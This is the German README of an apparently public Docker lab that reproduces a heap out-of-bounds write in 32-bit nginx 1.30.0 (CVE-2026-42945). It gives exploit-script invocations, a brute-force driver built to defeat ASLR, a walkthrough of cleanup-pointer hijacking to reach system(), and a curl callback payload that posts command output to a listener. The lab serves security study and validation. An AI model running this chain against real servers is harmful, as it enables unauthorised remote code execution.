
CVE-2026-42945 nginx 32-Bit-Exploit-Lab mit ASLR aktiviert
Dieses Repository ist ein reproduzierbares Docker-Labor zum Studium von CVE-2026-42945 in nginx 1.30.0. Es enthält ein verwundbares 32-Bit-Ziel, einen primitiven Auslöser, einen laborunterstützten RCE-Validator mit bekannter Adresse und einen Brute-Force-Treiber ohne Introspection.
Die Beweisgrenze ist wichtig:
exploit/trigger_oob.py demonstriert die Heap-OOB-Schreibprimitive.exploit/lab_known_address.py beweist den RCE-Mechanismus in Docker, ist aber laborunterstützt, da es /proc/<pid>/maps über docker exec liest.exploit/remote_bruteforce.py verwendet weder SSH, Docker, /proc, ptrace noch bekannte Adressen. Es brute-forct SAFE-Heap-Seiten- und libc-Seiten-Kandidaten und behandelt den ausgehenden Callback als einziges Erfolgssignal.Der entfernte Brute-Force-Pfad hängt weiterhin vom aktuellen ASLR-Layout des nginx-Master-Prozesses ab. Wenn die Spray-Adresse nicht durch das erforderliche URI-sichere Byte-Alphabet darstellbar ist, schlägt ein vollständiger Durchlauf fehl, bis der nginx-Master-Prozess neu gestartet oder neu geladen und ASLR neu gerollt wird. Wie der Validator mit bekannter Adresse sollte der vollständige RCE-Pfad auf einem nativen x86-Linux-Docker-Host ausgeführt werden, nicht auf einem QEMU-emulierten Docker-Desktop-Ziel.
/proc/<pid>/maps das tatsächliche 32-Bit-Adresslayout des nginx-Workers offenlegt. Docker Desktop auf Nicht-x86-Hosts kann das Ziel unter qemu-i386 ausführen; dies reicht aus, um den OOB-Absturz zu validieren, aber nicht die RCE-Mathematik mit bekannter Adresse.Erstellen und starten Sie das verwundbare 32-Bit-nginx-Labor:
docker compose up -d --build
curl http://127.0.0.1:19331/
Lösen Sie den kontrollierten OOB-Schreibvorgang aus:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
Führen Sie den deterministischen Docker-only RCE-Validator aus:
python3 exploit/lab_known_address.py --restart-until-safe
Führen Sie den Brute-Force-Treiber ohne Introspection aus:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal wird als Callback-Host verwendet, sodass der im nginx-Worker eingebettete Befehl die id-Ausgabe zurück an den vom Exploit-Skript gestarteten Listener POSTen kann. Die Compose-Datei ordnet diesen Namen für Linux-Docker-Engines zu.

Das Compose-Ziel erstellt nginx 1.30.0 als 32-Bit-Binärdatei im Release-Stil und startet es auf 127.0.0.1:19331. Ein einfacher GET / gibt ok zurück, was beweist, dass das Ziel vor Beginn der Exploitation erreichbar ist.

Der Auslöser sendet ein erfasstes URI-Segment, das aus +-Bytes besteht, über den verwundbaren rewrite- plus set $myvar $1-Pfad. + wird von NGX_ESCAPE_ARGS escaped, sodass der Kopierdurchgang für jede Eingabe von einem Byte drei Bytes schreibt. Das Skript gibt die erwartete Überlaufgröße aus, bevor es die Anfrage sendet.

Der Validator mit bekannter Adresse ist absichtlich unterstützt. Er liest die Live-Heap- und libc-Mappings des Workers aus dem Docker-Container, berechnet die Adresse des gefälschten Cleanup-Handlers, sendet die gleiche Exploit-Sequenz auf Drahtebene und wartet auf den Callback. Die Ausgabe uid=65534(nobody) ist der nginx-Worker, der id ausführt. Dieser Screenshot stammt von einem nativen x86-Docker-Lauf; bei Nicht-x86-Docker-Desktop-Einrichtungen kann das Skript stattdessen mit einer qemu-i386-Anforderung an den nativen Host anhalten.

Das entfernte Brute-Force-Skript entfernt die laborinternen Adress-Lesevorgänge. Es zählt SAFE-Heap-Seiten-Kandidaten und libc-Seiten-Kandidaten auf und verwendet nur den Callback als Erfolgsorakel. Das Erschöpfen eines Durchlaufs ohne Callback widerlegt die Primitive nicht; normalerweise bedeutet es, dass das aktuelle nginx-Master-Layout für dieses Payload-Alphabet nicht günstig ist oder der Durchlauf einen Master-Neustart/-Neuladung benötigt, um ASLR neu zu rollen.
Der Exploit verwendet drei gleichzeitige Anforderungsrollen:
/spray hält eine Anforderungskörper-Allokation am Leben und platziert einen gefälschten ngx_pool_cleanup_t-Datensatz sowie den Callback-Befehl im Heap-Speicher des nginx-Workers./api/<payload> erreicht das verwundbare Rewrite-Skript und verzögert den endgültigen Anfrage-Terminator, bis die Opferanfrage vorhanden ist./ erstellt den angrenzenden Anforderungspool, dessen cleanup-Zeiger Ziel der kontrollierten OOB-Schreiboperation ist.Wenn der beschädigte Anforderungspool zerstört wird, folgt nginx dem überschriebenen Cleanup-Zeiger. Im Labor-RCE-Pfad zeigt der gefälschte Cleanup-Handler auf system() und sein Datenzeiger auf:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
Der Exploit-Listener behandelt diesen POST als einziges RCE-Erfolgssignal.
docker compose down
Dieses Labor ist für autorisierte Sicherheitsvalidierung und -bildung gedacht. Halten Sie es isoliert, setzen Sie den Labor-Port keinen unsicheren Netzwerken aus und führen Sie den Exploit nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.